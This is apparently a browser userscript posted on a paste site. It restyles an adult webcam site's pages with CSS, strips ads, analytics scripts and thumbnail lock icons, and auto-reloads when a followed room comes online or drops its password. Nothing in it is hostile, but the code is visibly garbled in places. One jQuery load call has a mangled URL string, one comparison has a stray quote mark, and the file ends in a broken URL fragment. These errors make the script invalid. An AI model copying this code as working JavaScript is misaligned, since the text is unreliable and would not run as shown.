- '.sub-nav {display:inline-block;position:relative;top:0.5px;left:38%!important;min-width:275px;list-style:none;margin:0;padding:0;height:1%;overflow:hidden;font-family:\'Nyala\'!important;}' +
- '#main .top-section .sub-nav {background-image:none!important;}' +
- '#main .content {background-color:#' + color[0] + '!important; padding:5px 0px 14px 0!important;}' +
- '#header .nav-bar {background-color:#' + color[1] + '!important; border-color:#cbcbcb!important;}' +
- '#nav {font-family:Tw Cen MT!important; padding-bottom:5px!important;}' +
- '#nav li a {color:#eeeeee!important;}' +
- '#nav li a:hover {color:#' + color[0] + '!important;}' +
- '#header .creat {font-family:\'Nyala\'!important; color:#cbcbcb!important; background-color:#FFFFFF!important; background-image:none!important; padding-left:2px!important; padding-bottom:5px!important; border-radius:0!important;}' +
- '#main .top-section .sub-nav a {font-family:' + color4 + '!important; top:0px!important; left:38%!important; color:#003366!important; border-color:#000000!important; background-color:#ffffff!important; border-style: groove!important; border-width: 2px!important; text-shadow: .6px .3px 1px #000000!important; padding:2px 15px 1px!important;}' +
- '#main .top-section .sub-nav a:hover {color:#e60000!important; top:0px!important; left:38%!important; background-color:#ffffff!important;cursor: auto;}' +
- '#main .top-section .sub-nav .active a {color:#FF0000!important; top:0px!important; left:38%!important; background-color:#ffffff!important; }' +
- '#main .top-section .actions li a {padding-left:10px!important; background-color:#' + color[0] + '!important; background-image:none!important; border-color:#888888!important;}' +
- 'strong {color:#131313!important;}' +
- 'h1, h2, h3 {color:#' + color[1] + '!important;}' +
- '#main .content .endless_page_template {width:100%!important; margin:0 10px 0 32px!important;}' +
- '.thumbnail_label_c {background-color:#181818!important;}' +
- '.thumbnail_label_c_hd {background-color:#' + color[1] + '!important;}' +
- '.thumbnail_label_transsexual {background-color:#ff0000!important;}' +
- '.thumbnail_label_c_new {background-color:#545454!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-p {color:#be6aff!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-l {color:#804baa!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-o {color:#dc5500!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-m {color:#dc0000!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-f {color:#00cf00!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-tr {color:#000099!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-t {color:#6699aa!important;}' +
- '#defchat .section .chat-holder .chat-box .users-list .text .color-g {color:#666666!important;}' +
- '#defchat .section .chat-holder .chat-box .chat-list .roommessagelabel {color:#' + color[1] + '!important;}' +
- '.users-list, .settings-list, .chat-list {padding:0 11px 0 11px!important; width: auto!important;}' +
- '#main .content .c-1 {width:100%!important; margin-right:0px!important; margin:6px!important;}' +
- '.paging li a {background-color:#ffffff!important; border-color:#' + color[1] + '!important; background-image:none!important;}' +
- '.paging li a:hover {background-color:#ffffff!important;}' +
- '.paging .prev {border-radius:30px 0 0 30px!important;}' +
- '.paging .next {border-radius:0 30px 30px 0!important;}' +
- '.paging .endless_page_link {color:#181818!important;}' +
- '.paging .active .endless_page_link {color:#' + color[1] + '!important; background-color:#ffffff!important;}' +
- '#main .content .featured_blog_posts .blog_post .title_shell {background-image:none!important;}' +
- '#main .content .featured_blog_posts .blog_post .title_shell .title {background-color:transparent!important;}' +
- '.footer-holder {background-color:#eeeeee!important; background-image:none!important; border-top:2px solid #cbcbcb!important;}' +
- '#jscontext .jscontextBtn {color:#' + color[1] + '!important;}' +
- '#jscontext .jscontextBtn:hover {color:#eeeeee!important;}' +
- '#defchat .section .chat-holder .chat-box .chat-form .row .button_send {background-color:#888888!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
- '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
- '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a:hover {color:#ffffff!important;}' +
- '#defchat .section .chat-holder .chat-box .chat-form {margin-right:12px!important;}' +
- '#defchat .info-user .headline .socials .button_share {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
- '#defchat .info-user .headline .socials .button_share a {background-image:none!important; text-shadow:none!important;}' +
- '#defchat .info-user .headline .socials .button_follow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
- '#defchat .info-user .headline .socials .button_follow a {background-image:none!important; text-shadow:none!important;}' +
- '#defchat .info-user .headline .socials .button_unfollow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
- '#defchat .info-user .headline .socials .button_unfollow a {background-image:none!important; text-shadow:none!important;}' +
- '#defchat .section .video-box .tip_shell .green_button_tip {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
- '#defchat .section .video-box .tip_shell .green_button_tip .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
- '#defchat .section .video-box .tip_shell .green_button_tip .tip_button:hover {color:#ffffff!important;}' +
- '#defchat .offline_tipping .green_button_tip_offline {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
- '#defchat .offline_tipping .green_button_tip_offline .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
- '#defchat .offline_tipping .green_button_tip_offline .tip_button:hover {color:#ffffff!important;}' +
- '#defchat .section .video-box .tip_shell .goal_display .goal_display_table .dark_blue {background-color:#' + color[0] + '!important;}' +
- '.follow_tooltip, .share_tooltip, #rate_tooltip, #rated_tooltip, #rate_dim_tooltip, #broadcaster_rating_tooltip {background-color:#eeeeee!important; border-color:#777777!important;}' +
- '.follow_tooltip img, .share_tooltip img, #rate_tooltip img, #rated_tooltip img, #rate_dim_tooltip img, #broadcaster_rating_tooltip img {display:none!important;}' +
- '#tabs_content_container dl dt {color:#' + color[1] + '!important;}' +
- '#tabs_content_container .pics-description .photo_list .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
- '#body_border .user_uploads .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
- '#filter_search_form .button {background-color:#' + color[1] + '!important; background-image:none!important; padding-left:28px!important;}' +
- '#filter_search_form .button:hover {text-decoration:none!important;}' +
- '#defchat {width:auto!important;}' +
- '.section {width:100%!important;}' +
- '.block {margin-right:12px!important; border:1px ridge #000000!important; padding: 4px!important;}' +
- '#login-box {border-color:#777777!important; z-index:2001!important;}' +
- '#login-box .pagename {position:relative!important; top:-4px!important; left:-2px!important; font-family:\'trebuchet ms\'!important; color:#' + color[1] + '!important;}' +
- '#login-box .button {padding-left:14px!important; color:#454545!important; background-color:#cbcbcb!important; background-image:none!important;}' +
- '#login-box .button:hover {color:#eeeeee!important; background-color:#888888!important; text-decoration:none!important;}' +
- '#user_information .top {background-color:#' + color[1] + '!important; border-radius:2px 2px 0 0!important; padding:5px 3px 4px 5px!important;}' +
- '#user_information .top .username{display:inline-block;font:14px; font-family:\'Nyala\'!important;overflow:hidden;margin:0 12px 0 5px;max-width:125px;text-overflow:ellipsis;white-space:nowrap;position:relative;top:3px;}' +
- '#user_information {position:absolute!important; top:-9px!important; right:0!important;}' +
- '#user_information .top a {color:#eeeeee!important;}' +
- '#user_information .top a:hover {color:#cbcbcb!important;}' +
- '#user_information .tokencountlink {font-size:11px!important;}' +
- '#user_information .bottom {border-color:#' + color[1] + '!important;}' +
- '#apps_and_bots_table tr legend {color:#' + color[1] + '!important;}' +
- '#leaderboard .number {color:#181818!important;}' +
- '#leaderboard .position_1 {color:#' + color[1] + '!important;}' +
- '#tag_table {border-color:#' + color[1] + '!important;}' +
- '#tag_table .headers {background-color:#' + color[1] + '!important;}' +
- '#tag_table .tag_row:nth-child(2n+1) {background-color:#' + color[0] + '!important;}' +
- '#broadcaster_settings legend {color:#' + color[1] + '!important;}' +
- '.button {color:#' + color[1] + '!important; text-decoration:none!important; background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important; padding:0 15px 2px 15px!important;}' +
- '.button:hover {color:#131313!important;}' +
- '#filter_search_form p .button {color:#cbcbcb!important; padding:2px 6px!important;}' +
- '#filter_search_form p .button:hover {color:#e6e6e6!important;}' +
- '#suggest_app img {display:none!important;}' +
- 'a.user_upload_preview {color:#181818!important;}' +
- 'a.user_upload_preview:hover {color:#777777!important;}' +
- '.overlay_popup .formborder {border:2px solid #' + color[1] + '!important; border-radius:4px!important;}' +
- '.overlay_popup .divider {display:none!important;}' +
- '.overlay_popup .title {color:#' + color[1] + '!important;}' +
- '.app_launch a {background-color:#cbcbcb!important;}' +
- '.proposal_votes {background-color:#cbcbcb!important;}' +
- '.related {color:#' + color[1] + '!important;}' +
- '.document, .related {background-color:#' + color[0] + '!important;}' +
- '.sphinxsidebar ul, .sphinxsidebar h4, .sphinxsidebar p, .footer {color:#777777!important;}' +
- '.datatable, .datatable th {background-color:#' + color[1] + '!important;}' +
- '.code {color:#' + color[1] + '!important;}' +
- '.fixnav {position:fixed!important; left:0!important; top:0!important; width:100%!important; height:auto!important; z-index:999!important;}' +
- '#login-overlay {z-index:2000!important;}' +
- '#overlay {z-index:1001!important;}' +
- '#entrance_terms, #broadcast_terms {z-index:1002!important;}' +
- '.tip_popup img {display:none!important;}' +
- '.tabs {background-color:#e6e6e6!important;}' +
- '#app_title {color:#' + color[1] + '!important;}' +
- 'legend {color:#' + color[1] + '!important;}' +
- '.share {background-color:#e6e6e6!important;}' +
- '.blue, .ourtitle, .choiceclear {color:#' + color[1] + '!important;}');
- //===============================================
- //===============================================
- var getName = location.pathname;
- var latest = getName.slice(1,-1);
- if (latest == 'tags') {
- latest = '';
- }
- var prof = latest.search('p/');
- if (prof === 0) {
- latest = latest.replace('p/', '');
- }
- var broad = latest.search('b/');
- if (broad === 0) {
- latest = latest.replace('b/', '');
- }
- var app = latest.search('app');
- if (app === 0) {
- document.getElementById('verText').innerHTML = '';
- document.getElementById('editBut').innerHTML = '';
- }
- var apps = latest.search('apps');
- if (apps === 0) {
- latest = latest.replace('apps', '');
- document.getElementById('verText').innerHTML = '';
- document.getElementById('editBut').innerHTML = '';
- }
- var affiliates = latest.search('affiliates/api/onlinerooms');
- if (affiliates === 0) {
- latest = latest.replace('affiliates/api/onlinerooms', '');
- document.getElementById('verText').innerHTML = '';
- document.getElementById('editBut').innerHTML = '';
- }
- var feeds = latest.search('feed/latest');
- if (feeds === 0) {
- latest = latest.replace('feed/latest', '');
- document.getElementById('verText').innerHTML = '';
- document.getElementById('editBut').innerHTML = '';
- }
- var photovid = latest.search('photo_videos/');
- var tipping = latest.search('tipping/');
- var emoticons = latest.search('emoticons');
- if ((photovid === 0) || (tipping === 0) || (emoticons === 0)) {
- document.getElementById('verText').innerHTML = '';
- document.getElementById('editBut').innerHTML = '';
- }
- var pic = document.createElement('IMG');
- pic.setAttribute('id', 'newImage');
- pic.setAttribute('src', 'https://roomimg.stream.highwebmedia.com/ri/' + latest + '.jpg');
- pic.setAttribute('style', 'position:' + posi + '; top:0; right:268px; border:1px solid #' + color[1] + '; width:95px; height:78px; z-index:1000;');
- pic.onload = function() {
- if ((latest != '/propose_app') && (latest != '/proposals') && (latest != '/upload_app') && (latest != '/search') && (latest != 'emoticons')) {
- document.body.appendChild(pic);
- }
- };
- pic.onerror = function() {
- pic.setAttribute('style', 'display:none;');
- };
- var link = document.getElementsByTagName('a');
- for (i = 0; i < link.length; i++) {
- if (link[i].href.indexOf('?url=') != -1) {
- linkhref = unescape(link[i].href);
- newlinkhref = linkhref.substring(linkhref.indexOf("?url=") + 5, linkhref.indexOf("&domain"));
- link[i].href = newlinkhref;
- }
- }
- var broadcasting = '/b/' + latest + '/';
- var onCheck = document.createElement('INS');
- var onTxt = document.createTextNode('');
- onCheck.setAttribute('id', 'checkOn');
- onCheck.setAttribute('style', 'display:none;');
- onCheck.appendChild(onTxt);
- document.body.appendChild(onCheck);
- $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
- $('#checkOn').load('https://chaturbate.com/'/'?-_js./embed_js.php?i + latest + '#defchat p strong');
- setTimeout(function() {
- var getOn = document.getElementById('checkOn').textContent;
- var stripTags = getOn.search('Room is currently offline');
- if (stripTags !== 0) {
- return;
- }
- else {
- setInterval(function() {
- $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
- setTimeout(function() {
- var reCheck = document.getElementById('checkOn').textContent;
- var reStrip = reCheck.search('Room is currently offline');
- if (reStrip === 0) {
- return;
- }
- else if (getName == broadcasting) {
- return;
- }
- else {
- location.reload();
- }
- }, 5000);
- }, 5000);
- }
- }, 5000);
- // =============================================================================
- // === Remove Thumbnail Preview Lock Icon to make Preview more Visible =========
- // =============================================================================
- pictures = document.getElementsByClassName('preview');
- if (pictures) {
- for (i = 0; i < pictures.length; i++) {
- if (pictures[i].getAttribute("alt") == "Locked") {
- pictures[i].parentNode.removeChild(pictures[i]);
- }
- }
- }
- // =============================================================================
- // === Create Favorite Model Cam ===============================================
- // =============================================================================
- if (color3 !== '') {
- if (latest == ''followed-cams') {
- var chgAct = document.getElementsByClassName('sub-nav')[0].innerHTML;
- var exCheck = chgAct.search('<li class="active">');
- if (exCheck) {
- chgAct = chgAct.replace('<li class="active">', '<li>');
- }
- var newEx = chgAct + '<li class="active"><a href="/' + color3 + '/">' + color3 + '</a></li>';
- document.getElementsByClassName('sub-nav')[0].innerHTML = newEx;
- } else if (getName == broadcasting) {
- console.log('Broadcasting Interface Detected');
- } else {
- var getSub = document.getElementsByClassName('sub-nav')[0].innerHTML;
- var addEx = getSub + '<li><a href="/' + color3 + '/">' + color3 + '</a></li>';
- document.getElementsByClassName('sub-nav')[0].innerHTML = addEx;
- }
- }
- var getSubAgain = document.getElementsByClassName('sub-nav')[0].innerHTML;
- var addExAgain = getSubAgain + '<li><a href="' + document.URL + '">' + 'REFRESH' + '</a></li>';
- document.getElementsByClassName('sub-nav')[0].innerHTML = addExAgain;
- // =============================================================================
- if (color4 === ''){
- color4 = "Tw Cen MT"
- }
- // =============================================================================
- // === Remove Sections =========================================================
- // =============================================================================
- function removeEBP() {
- MV_removeElementsByPath("//img[contains(@src, 'postimg.org')]");
- MV_removeElementsByPath("//img[contains(@src, 'www.dmca.com/App_Themes/')]");
- MV_removeElementsByPath("//img[contains(@src, 'http://s06.flagcounter.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'http://s09.flagcounter.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'http://25.media.tumblr.com')]");
- MV_removeElementsByPath("//img[contains(@src, '4.bp.blogspot.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'https://3.bp.blogspot.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'https://2.bp.blogspot.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'https://1.bp.blogspot.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'ig-badge-48.png')]");
- MV_removeElementsByPath("//img[contains(@src, 'dmca_protected')]");
- MV_removeElementsByPath("//img[contains(@src, 'imgur')]");
- MV_removeElementsByPath("//img[contains(@src, 'www.camfolk.info/')]");
- MV_removeElementsByPath("//img[contains(@src, 'http://www.asocea.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'tinypic.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'photobucket.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'imageshack.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'ecx.images-amazon.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'dresden-stollen.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'hatchnorfolk.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'icons.iconarchive.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'googleusercontent.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'server.myspace-shack.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'images.dmca.com/Badges/')]");
- MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-grn-btn100w.png')]");
- MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-std-btn140w.png')]");
- MV_removeElementsByPath("//img[contains(@src, 'dmca_normal.png')]");
- MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-200w_a_zpsf5mn8hoq.png')]");
- MV_removeElementsByPath("//img[contains(@src, '_dmca_premi_badge_2.png')]");
- MV_removeElementsByPath("//img[contains(@src, 'amazon_jk.png')]");
- MV_removeElementsByPath("//img[contains(@src, 'https://45.media.tumblr.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'picasion.com')]");
- MV_removeElementsByPath("//img[contains(@src, 'glitterfy.com')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:400px; height:400px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:100px; height:100px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:64px; height:64px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:62px; height:62px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:60px; height:60px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:55px; height:55px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:50px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:57px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:48px; height:48px')]");
- MV_removeElementsByPath("//img[contains(@style, 'width:43px; height:43px')]");
- MV_removeElementsByPath("//a[contains(@href, 'width:50px; height:50px')]");
- MV_removeElementsByPath("//a[contains(@href, 'http://i.imgur.com')]");
- MV_removeElementsByPath("//a[contains(@href, 'http://imgur.com')]");
- MV_removeElementsByPath("//a[contains(@href, 'amateurmatch')]");
- MV_removeElementsByPath("//a[contains(@href, 'amazon')]");
- MV_removeElementsByPath("//a[contains(@href, '/tags/')]");
- MV_removeElementsByPath("//a[contains(@href, 'https://twitter.com/')]");
- MV_removeElementsByPath("//a[contains(@href, 'instagram.com/')]");
- MV_removeElementsByPath("//a[@href='/contest/details/']");
- //MV_removeElementsByPath("//a[@href='/male-cams/']");
- //MV_removeElementsByPath("//a[@href='/female-cams/']");
- MV_removeElementsByPath("//a[@href='/couple-cams/']");
- //MV_removeElementsByPath("//a[@href='/spy-on-cams/']");
- MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='/tipping/free_tokens/']");
- MV_removeElementsByPath("//div[@class='c-1 endless_page_template']//div[@class='thumbnail_label thumbnail_label_c']");
- MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='http://blog.chaturbate.com/']");
- MV_removeElementsByPath("//div[@class='top-section']//li/a[@href='/']");
- MV_removeElementsByPath("//div[@class='featured_text']");
- MV_removeElementsByPath("//div[@class='footer-holder']");
- MV_removeElementsByPath("//div[@class='featured_blog_posts']");
- MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_c')]");
- MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_tokens')]");
- var headerAD = $('.ad');
- if (headerAD) { headerAD.remove(); } //Remove AD sections hidden inside the page Header
- // =============================================================================
- var scriptTest = $('script[src="https://cdn.exoticads.com/xads.js"]');
- if (scriptTest) { scriptTest.remove(); } //Remove the garbage AD script
- // =============================================================================
- var scriptTest2 = $('script[src="https://ssl.google-analytics.com/ga.js"]');
- if (scriptTest2) { scriptTest2.remove(); } //Remove the google analytics tracking script
- // =============================================================================
- var removeGAQ = $('script[id="gaq"]');
- if (removeGAQ) { removeGAQ.remove(); } //Remove the google tracking script
- }
- // =============================================================================
- // === Functions================================================================
- // =============================================================================
- // Include start [domUtil.js]
- function MV_removeElementsByPath(pPath) {
- var pathResult = document.evaluate(pPath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
- if(pathResult.snapshotLength > 0) {
- for(var i=0; i < pathResult.snapshotLength; i++) {
- var pathNode = pathResult.snapshotItem(i);
- pathNode.parentNode.removeChild(pathNode);
- }
- }
- }
- // =============================================================================
- // === Get Elements By Path ====================================================
- // =============================================================================
- function MV_getElementByPath(pPath, pRoot) {
- var pathResult = document.evaluate(pPath, pRoot === null ? document : pRoot, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
- return pathResult.snapshotLength <= 0 ? null : pathResult.snapshotItem(0);
- }
- // =============================================================================
- // === Create Button ===========================================================
- // =============================================================================
- function MV_createButton(pAttributes, pClickListener) {
- pAttributes.type = "button";
- var resultElement = MV_createElement("input", pAttributes);
- if(pClickListener !== null) {
- resultElement.addEventListener("click", pClickListener, true);
- }
- return resultElement;
- }
- // =============================================================================
- // === Create Element ==========================================================
- // =============================================================================
- function MV_createElement(pElementName, pAttributes, pInnerHtml) {
- var resultElement = document.createElement(pElementName);
- for(var attributeName in pAttributes) {
- resultElement.setAttribute(attributeName, pAttributes[attributeName]);
- }
- if(pInnerHtml !== null) {
- resultElement.innerHTML = pInnerHtml;
- }
- return resultElement;
- }
- var passCheck = document.createElement('INS');
- var passTxt = document.createTextNode('');
- passCheck.setAttribute('id', 'checkPass');
- passCheck.setAttribute('style', 'display:none;');
- passCheck.appendChild(passTxt);
- document.body.appendChild(passCheck);
- $('#checkPass').load('https://chaturbate.com/' + latest + '#main .content .c-1 .block h1');
- setTimeout(function() {
- var getPass = document.getElementById('checkPass').textContent;
- var stripPtags = getPass.search('This room requires a password.');
- if (stripPtags !== 0) {
- return;
- }
- else {
- setInterval(function() {
- var newLatest = latest.replace('roomlogin/', '');
- $('#checkPass').load('https://chaturbate.com/' + newLatest + '#main .content .c-1 .block h1');
- setTimeout(function() {
- var rePcheck = document.getElementById('checkPass').textContent;
- var rePstrip = rePcheck.search('This room requires a password.');
- if (rePstrip === 0) {
- return;
- }
- else {
- window.location = 'https://chaturbate.com/' + newLatest;
- }
- }, 5000);
- }, 5000);
- }
- }, 5000);
- https://ssl-ccstatic.highwebmedia.com/CACHE.css.facebox/loading/gif.loading/$closeImage/$.closelabel.png'><strong..text/>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement